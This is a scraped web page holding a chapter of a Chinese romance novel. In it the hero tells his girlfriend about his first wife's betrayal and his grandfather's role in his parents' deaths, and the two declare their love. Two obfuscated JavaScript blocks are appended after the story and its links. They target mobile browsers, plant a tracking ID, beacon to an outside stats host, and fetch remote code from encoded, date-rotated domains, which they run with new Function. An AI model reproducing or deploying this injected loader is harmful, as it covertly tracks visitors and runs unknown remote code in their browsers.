所以他在十八岁时接管这家公司,在二十二岁去日本前早就将这家公司经营得有声有色,只是没有人知道央立国际珠宝公司的董事长与拥有者是他罢了! 江承辑在二十一岁时认识了十八岁刚进大学的林紫音,她长得美丽又有气质,像是一朵高贵的牡丹花,家境也算不错,所以追求者众多。她温柔婉约的气质十分神似他已逝的妈妈,令他非常喜欢。

江承辑一直以为自己找到了真爱,可是没有想到,两人在交往一年后,他才发现,她竟然是森野樊宇那老头安排的人,而且也是台湾林氏集团的独生女。那老头知道自己的脾气,也知道他欣赏的是什么类型的女孩子,所以就安排十八岁的她接近他。

当他知道事实真相时简直无法相信,因为他真的很喜欢她。林紫音一直哀求着不要离开他,而且是真的爱他,于是他提出永远不会回到森野集团的条件,也希望她不要提起,原本她不答应,但考虑几天后,她竟答应他这个要求。 江承辑没想到这只是缓兵之计,之后相处的几个月中,林紫音对他很好,十分深情,除了上课外,其他的时间都拿来陪他,几个月后她要求结婚,他也同意了,但前提是不接管林氏集团。

没想到结婚度完蜜月回来,一切已风云变色,林紫音瞒着他偷偷和森野樊宇联系,为的是森野集团庞大的财力能够将林氏集团的事业推上更高的境界。 听到几乎出神的石馨兰讶异极了,原来他这么有本事,连极有名声的央立国际珠宝公司都是他的。她的眼中充满了敬佩,之后她摇摇头,哎呀!现在不是想这个的时候。

还是继续听下去吧!

林紫音用柔情和爱为借口将他紧紧网住,单纯天真的他相信林紫音是真的爱他,以为所有的作为都只是为了他好,但当他坚决的告诉她绝不会回去的时候,她却软硬兼施的利用各种手段想要他回去。

接下来的日子,林紫音依旧无所不用其极,他一边忙着公司的工作,一边还要准备毕业论文,根本没有办法顾及到她所有的感受及思想,而她只是继续用最甜蜜的言语哄着江承辑,根本没有想到她会有背叛他的一天。

在他把毕业论文交出去的那一天,终于有空闲可以陪她,他到她的教室去找,发现那天她没有课?于是兴冲冲的赶回家想陪陪她,可当江承辑回到家时,却看到她和另一个男人赤裸裸的交缠在一起……

江承辑的脑中顿时一阵空白,什么都无法反应,更无法言语,完全不敢相信自己的眼睛,更无法相信这个口口声声说爱他的女人竟然躺在别的男人怀里。 林紫音虽露出惊惶失措的表情,可是那不过是一下子而已。

江承辑在大略叙述当年的事件后,突然扬声问她:“你知道她竟然说出什么话来吗?”语气虽然平淡,但紧抱她身子的双手,却泄露出他悲愤激动的情错。 明白再多言语的安慰都是多余的,石馨兰只是回拥着他,给予他默默的支持。 “她说,我太忙了,只忙着学业和工作,当时我故意告诉她我只是在央立珠宝公司打工,并不是故意隐瞒她,而是准备在大学毕业后才告诉她这件事,这样,她若怀孕也不用怕没有钱可以养小孩。

也许,那也是我心底事先有了防备,所以才没有照实告诉她,谁知她竟说我太忙,不懂得生活情趣,也没有时间陪她参加舞会。我反问她,一开始她并没有任何抱怨,还一直说爱我,让我以为她可以体谅。

可她却说如果我愿意回森野集团,她还愿意和我在一起,可是我太固执,硬是不回去,她只好再找别的好对象。对,她是爱我,可是爱不能当饭吃,她只好对不起我。“

当时的他不愿意太招摇,所以从外表看起来确实像个穷小子。

江承辑将手移到石馨兰的脸颊上轻轻碰触着,“你知道是什么让我崩溃得那么快吗?”

石馨兰盯着他此刻苦涩的表情,摇了摇头。

“这个一直用爱和柔情来对待我的女人,让我如此相信她是爱我的,而我也是爱她的,可是这一切却只是谎言,比不上金钱、名利的诱惑……我一直深信的爱竟然以如此不堪的方式,教会我爱这个东西竟然是如此的廉价!”他带着嘲讽的语气说:“如果她知道我是央立珠宝公司的负责人就不会离开我,所以我告诉她这件事想留她,不让她离开,因为我还是无法割舍下她……”

“那她留下来了吗?”石馨兰焦急的问。

江承辑摇摇头,“她不相信我的话,还嘲笑我没那个本事,要我回去继承森野集团,那么她倒还愿意跟着我。

我也不想向她证明什么,看着原本那个我爱的女人,以为她爱的只是我这个人,以为她美好得就像是个天使一样,可她早就被权力名利熏心。

她不过才十八岁而已,看起来是这么美丽迷人,可是我在那刻竟能看穿她的灵魂,看穿她只是被名利污染的不纯净灵魂,我顿时明白自己只是被她的外表迷惑住了。“

“既然你知道,为什么还会这个样子?”为什么还要去创造一个不存在的世界将自己关在里面?

“我说过了,她是森野樊宇精心安排的孙媳妇,可是你知道可笑的是什么吗?” 他的表情瞬间变得狰狞,令石馨兰有些心惊。

“在她离开后,森野樊宇来到台湾告诉我没有一个女人可以信任,而这就是最好的证明。原来他只是利用她来告诉我什么情呀爱的都是骗人的,所以我父母的爱也是骗人的,只有他不会害我,所以要我和他一起回去,当时的我根本听不下任何话,也恨他插手这件事,我恨他的残忍,在赶走他后,便一个人关在房子里。

我就这样陷入自己所设的牢笼和假想世界里,原本深信我父母的爱是无私真诚的想法和我所遇到的残酷事实产生了混淆,当理想与现实有所冲突时,教我情何以堪?如何一下子就去接受现实?“他激动的呐喊着。”直到天擎来找我,才将我拉出那个世界。森野樊宇那时还留在台湾等我的回复,你知道为什么我要跟着他回去吗?“

“为什么?”石馨兰感受到他讲到森野樊宇时的情绪十分愤恨,也无法理解为什么亲生的爷爷竟然用这种手段伤害自己的孙子,爱情应是一件多么美好的事情,他的作法真是令人不能原谅!

“将我拉回来的另一个动力是我父母真正的死因。”

“啊?不就是空难吗?”她疑惑的问。

“当年我父母坐着私人飞机到国外游玩,谁知道那个老头竟然派人驾着另一架飞机想要拦截他们好将我父亲带回日本,在追逐之中因为两架飞机太接近,就这样擦撞失事,你说,是不是他害死我父母的。”他一向漠然的表情在这一刻显得义愤填膺且十分激动,脸色阴沈暴戾的控诉着森野樊宇。

“他怎能这么做,还可恶的打破你对爱情的憧憬与向往,实在太过份了,真是可恶的老头!”石馨兰十分心疼他历经痛失亲人的痛苦,而这一切能避免的悲剧,竟然是一个专制固执的老人一手造成的,她决定要找个机会好好的教训那个老头。

见她如此替他气愤不平,还边挥舞着拳头,他笑了。他多幸运啊!竟能碰到这么一位真心爱他的女孩。他拉下她挥舞的小手,在她喋喋不休的小嘴上印上一吻。

江承辑很高兴她这么心疼他,在在都流露出对他的深情挚意,而对当初发生的一切,他绝对会讨回个公道,就算不为自己,也要为他的父母。

石馨兰感受到他这一吻里倾注了无限的柔情,也多了一分宠溺及疼惜,她擡头笑望着他。

“我懂了,你会同意回到森野集团是为了帮你父母报仇,因为你和那老头不合,回去就是为了气那老头吧?”她突然灵光一闪。除了这个原因外,她想不出其他的理由,因为她知道他不是一个会为了名利去巴结那个老头的人。

“呵呵,你真了解我,不过你只情对一半,另一方面我是为了报复林紫音,我用行动告诉她,她离开了我,我却反而要回去森野集团,这样我的心理才会感到平衡。

但是馨馨,从我遇到你的那一刻开始,我就将注意力全都放在你的身上,自以为把你放在我的计画中只是为了要气老头子,但是我却没想到这个计画让我将心遗落在你的身上,虽然顿悟了对你的感情,却依然想着报复……“

这个报复几乎要害他失去她,那种锥心的痛楚,他是怎样都不愿再经历一次,这次他要牢牢的将她捉在手上,并大声的对她示爱。

“这次我并没有报复的快感,我只想要你,我好后悔,所以,馨馨,请你原谅我。”

听到他这么说,石馨兰简直不敢相信她的耳朵,这个男人竟然对她说他的心遗落在她的身上!那么是不是代表一切就像她所想的那般?

“要我原谅你可以,除非……”她的眼睛灵活的转了一圈,想着该怎么从这个男人的嘴里拐出那三个字。

“除非什么?”

“除非你告诉我,你究竟爱不爱我?”唿!总算问出来了。

谁知,江承辑却用力的敲了她的头顶一下,让她扁着嘴瞪他,但见他无奈的笑着对她说:“笨馨馨,我刚才说的话你都没听进去吗?到现在还在问我这种笨问题。”

石馨兰却不甘示弱的往他的胸膛用力一击,然后对他道:“你才是大笨蛋!人家向你表白那么多次,你就说一次那三个字让人家高兴一下会怎么样!” 看她嘟着嘴的模样,让他忍不住笑了起来,他就爱与她在一起时这种轻松自在的感觉,于是他对她促狭的道:“哪三个字?该不会是你爱我吧?”

“你……”石馨兰气愤的瞪着他,这可恶的男人,竟敢这么捉弄她,气死人了!她突然踢了他一下,“哼!你这小气鬼,不说拉倒,我不理你了!” 看她真的发飙,江承辑也知道感情的事不能拿来开玩笑,要是弄不好她真的不理他,那他未来的幸福去找谁要?于是他将她欲转开的身子给拉回来,并在封住她的唇之际,对她低语:“我爱你。”

没想到他会真的说出来,她反而愣住了,张大嘴巴不敢置信的瞪着他看,不相信他真的说出她最想要听的那三个字,直到他的唇覆上她的,并重复不断的对她诉说着爱语,她才反应过来,并雀跃的主动抱住他,露出喜悦幸福的笑容。 她知道,她的努力与等待终于让她得到了幸福,逐对他扬起一抹笑,“承辑,那老头如果敢再来破坏我们,这一次说什么我都不会跑走,我决定要和他一拼高下。”

她的宣誓让江承辑笑了开来,“你呀!不必拼,只要用你的毒舌功,就可以让那老头气得跳脚,不过,我有可能会失去森野集团的继承权。”他知道,他们的婚礼那老头绝对不可能会答应来参加,更不会承认的。

“至少你还有央立珠宝!我不会饿死的。”她俏皮的和他开着玩笑,然后态度突然变得认真严肃,“承辑,这次的分离让我明白我不能失去你,更何况我们相爱,我当然就更可以理直气壮的和你在一起,任何想要分开我们的人,我都绝不会对他屈服。”

“就算我们一无所有?”

“就算我们一无所有。”

“馨馨,谢谢你。”

石馨兰只是对他的感谢摇摇头,深情的笑着,“只因为我爱你。她给了他最好的答案,爱是不必言谢的,更何况有了他,就算什么都没有,她也甘之如饴。 江承辑将她紧揽在自己的怀里,经不起内心激烈的情绪波动,他何其幸运能拥有她。“我真没想到,自己竟然如此幸运,竟能拥有你这带着一身阳光翩然舞向我的阳光天使,我想,我该感谢老天爷待我不薄,竟将你送给我。”

石馨兰一听,随即朝他露出一个淘气的笑,“是呀,所以为了感谢老天对你的厚爱,你就在未来二、三十年的漫长岁月里,好好的爱我!”

“那当然!”是她让他又重新活过来,并享受到爱与欢乐,且将光明带人他的人生,他当然会用一生的深情挚爱来回报她!


上一篇:慢慢地背叛老公

下一篇:丝袜公司的秘书(俏美秘书极淫荡)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};